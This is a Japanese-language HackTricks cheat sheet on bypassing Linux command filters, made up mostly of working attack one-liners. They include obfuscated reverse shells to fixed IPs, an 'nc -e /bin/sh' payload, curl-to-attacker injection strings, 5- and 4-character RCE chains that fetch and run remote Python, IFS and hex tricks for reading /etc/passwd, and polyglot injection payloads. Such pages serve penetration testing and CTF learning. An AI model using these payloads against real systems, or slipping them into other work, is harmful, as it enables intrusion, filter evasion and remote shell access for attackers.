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341 lines
12 KiB
Markdown
341 lines
12 KiB
Markdown
# Linuxの制限を回避する
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{{#include ../../banners/hacktricks-training.md}}
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## 一般的な制限の回避
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### リバースシェル
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```bash
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# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
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echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
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# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
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```
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### ショート Rev シェル
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```bash
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#Trick from Dikline
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#Get a rev shell with
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(sh)0>/dev/tcp/10.10.10.10/443
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#Then get the out of the rev shell executing inside of it:
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exec >&0
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```
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### バイパスパスと禁止ワード
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```bash
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# Question mark binary substitution
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/usr/bin/p?ng # /usr/bin/ping
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nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
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# Wildcard(*) binary substitution
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/usr/bin/who*mi # /usr/bin/whoami
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# Wildcard + local directory arguments
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touch -- -la # -- stops processing options after the --
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ls *
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echo * #List current files and folders with echo and wildcard
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# [chars]
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/usr/bin/n[c] # /usr/bin/nc
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# Quotes
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'p'i'n'g # ping
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"w"h"o"a"m"i # whoami
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ech''o test # echo test
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ech""o test # echo test
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bas''e64 # base64
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#Backslashes
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\u\n\a\m\e \-\a # uname -a
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/\b\i\n/////s\h
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# $@
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who$@ami #whoami
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# Transformations (case, reverse, base64)
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$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
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$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
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$(rev<<<'imaohw') #whoami
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bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
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# Execution through $0
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echo whoami|$0
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# Uninitialized variables: A uninitialized variable equals to null (nothing)
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cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
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p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
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# New lines
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p\
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i\
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n\
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g # These 4 lines will equal to ping
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# Fake commands
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p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
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w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
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# Concatenation of strings using history
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!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
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mi # This will throw an error
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whoa # This will throw an error
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!-1!-2 # This will execute whoami
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```
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### 禁止されたスペースをバイパスする
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```bash
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# {form}
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{cat,lol.txt} # cat lol.txt
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{echo,test} # echo test
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# IFS - Internal field separator, change " " for any other character ("]" in this case)
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cat${IFS}/etc/passwd # cat /etc/passwd
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cat$IFS/etc/passwd # cat /etc/passwd
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# Put the command line in a variable and then execute it
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IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
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IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
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IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
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# Other way, just change each space for ${IFS}
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echo${IFS}test
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# Using hex format
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X=$'cat\x20/etc/passwd'&&$X
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# Using tabs
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echo "ls\x09-l" | bash
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# Undefined variables and !
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$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
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uname!-1\-a # This equals to uname -a
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```
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### バックスラッシュとスラッシュのバイパス
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```bash
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cat ${HOME:0:1}etc${HOME:0:1}passwd
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cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
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```
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### パイプのバイパス
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```bash
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bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
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```
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### ヘックスエンコーディングを使用したバイパス
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```bash
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echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
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cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
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abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
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`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
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cat `xxd -r -p <<< 2f6574632f706173737764`
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xxd -r -ps <(echo 2f6574632f706173737764)
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cat `xxd -r -ps <(echo 2f6574632f706173737764)`
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```
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### IPをバイパスする
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```bash
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# Decimal IPs
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127.0.0.1 == 2130706433
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```
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### 時間ベースのデータ流出
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```bash
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time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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```
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### 環境変数から文字を取得する
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```bash
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echo ${LS_COLORS:10:1} #;
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echo ${PATH:0:1} #/
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```
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### DNSデータの流出
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例えば、**burpcollab**や[**pingb**](http://pingb.in)を使用できます。
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### ビルトイン
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外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
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まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** それから、いくつかの**推奨事項**があります：
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```bash
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# Get list of builtins
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declare builtins
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# In these cases PATH won't be set, so you can try to set it
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PATH="/bin" /bin/ls
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export PATH="/bin"
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declare PATH="/bin"
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SHELL=/bin/bash
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# Hex
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$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
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$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
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# Input
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read aaa; exec $aaa #Read more commands to execute and execute them
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read aaa; eval $aaa
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# Get "/" char using printf and env vars
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printf %.1s "$PWD"
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## Execute /bin/ls
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$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
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## To get several letters you can use a combination of printf and
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declare
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declare functions
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declare historywords
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# Read flag in current dir
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source f*
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flag.txt:1: command not found: CTF{asdasdasd}
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# Read file with read
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while read -r line; do echo $line; done < /etc/passwd
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# Get env variables
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declare
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# Get history
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history
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declare history
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declare historywords
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# Disable special builtins chars so you can abuse them as scripts
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[ #[: ']' expected
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## Disable "[" as builtin and enable it as script
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enable -n [
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echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
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chmod +x [
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export PATH=/tmp:$PATH
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if [ "a" ]; then echo 1; fi # Will print hello!
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```
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### ポリグロットコマンドインジェクション
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```bash
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1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
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/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
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```
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### 潜在的な正規表現をバイパスする
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```bash
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# A regex that only allow letters and numbers might be vulnerable to new line characters
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1%0a`curl http://attacker.com`
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```
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### Bashfuscator
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```bash
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# From https://github.com/Bashfuscator/Bashfuscator
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./bashfuscator -c 'cat /etc/passwd'
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```
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### 5文字でのRCE
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```bash
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# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
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#Oragnge Tsai solution
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## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
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http://host/?cmd=>ls\
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http://host/?cmd=ls>_
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http://host/?cmd=>\ \
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http://host/?cmd=>-t\
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http://host/?cmd=>\>g
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http://host/?cmd=ls>>_
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## Step2: generate `curl orange.tw|python` to file "g"
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## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
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http://host/?cmd=>on
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http://host/?cmd=>th\
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http://host/?cmd=>py\
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http://host/?cmd=>\|\
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http://host/?cmd=>tw\
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http://host/?cmd=>e.\
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http://host/?cmd=>ng\
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http://host/?cmd=>ra\
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http://host/?cmd=>o\
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http://host/?cmd=>\ \
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http://host/?cmd=>rl\
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http://host/?cmd=>cu\
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http://host/?cmd=sh _
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# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
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## Finally execute the file "g"
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http://host/?cmd=sh g
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# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
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# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
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https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
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## Execute tar command over a folder
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http://52.199.204.34/?cmd=>tar
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http://52.199.204.34/?cmd=>zcf
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http://52.199.204.34/?cmd=>zzz
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http://52.199.204.34/?cmd=*%20/h*
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# Another curiosity if you can read files of the current folder
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ln /f*
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## If there is a file /flag.txt that will create a hard link
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## to it in the current folder
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```
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### 4文字でのRCE
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```bash
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# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
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# it will follow the same principle of creating the command `ls -t>g` in a file
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# and then generate the full command in filenames
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# generate "g> ht- sl" to file "v"
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'>dir'
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'>sl'
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'>g\>'
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'>ht-'
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'*>v'
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# reverse file "v" to file "x", content "ls -th >g"
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'>rev'
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'*v>x'
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# generate "curl orange.tw|python;"
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'>\;\\'
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'>on\\'
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'>th\\'
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'>py\\'
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'>\|\\'
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'>tw\\'
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'>e.\\'
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'>ng\\'
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'>ra\\'
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'>o\\'
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'>\ \\'
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'>rl\\'
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'>cu\\'
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# got shell
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'sh x'
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'sh g'
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```
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## 読み取り専用/Noexec/Distroless バイパス
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**読み取り専用および noexec 保護** のあるファイルシステム内、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。シェルさえも！:**
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{{#ref}}
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bypass-fs-protections-read-only-no-exec-distroless/
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{{#endref}}
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## Chroot およびその他のジェイル バイパス
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{{#ref}}
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../privilege-escalation/escaping-from-limited-bash.md
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{{#endref}}
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## スペースベースの Bash NOP スレッド ("Bashsledding")
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脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド（例: `\x90`）はシェル構文では **機能しません** が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
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したがって、実際のコマンドの前に長いスペースまたはタブ文字のシーケンスを付加することで、*Bash 用の NOP スレッド*を作成できます:
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```bash
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# Payload sprayed into an environment variable / NVRAM entry
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" nc -e /bin/sh 10.0.0.1 4444"
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# 16× spaces ───┘ ↑ real command
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```
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もしROPチェーン（または任意のメモリ破損プリミティブ）が命令ポインタをスペースブロック内のどこかに配置すると、Bashパーサーは単にホワイトスペースをスキップし、`nc`に到達してコマンドを確実に実行します。
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実用的な使用例：
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1. **メモリマップされた設定ブロブ**（例：NVRAM）で、プロセス間でアクセス可能なもの。
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2. 攻撃者がペイロードを整列させるためにNULLバイトを書き込むことができない状況。
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3. BusyBox `ash`/`sh`のみが利用可能な組み込みデバイス – これらも先頭のスペースを無視します。
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> 🛠️ このトリックを`system()`を呼び出すROPガジェットと組み合わせることで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させることができます。
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## 参考文献と詳細
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
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- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
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- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
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- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
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- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
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{{#include ../../banners/hacktricks-training.md}}
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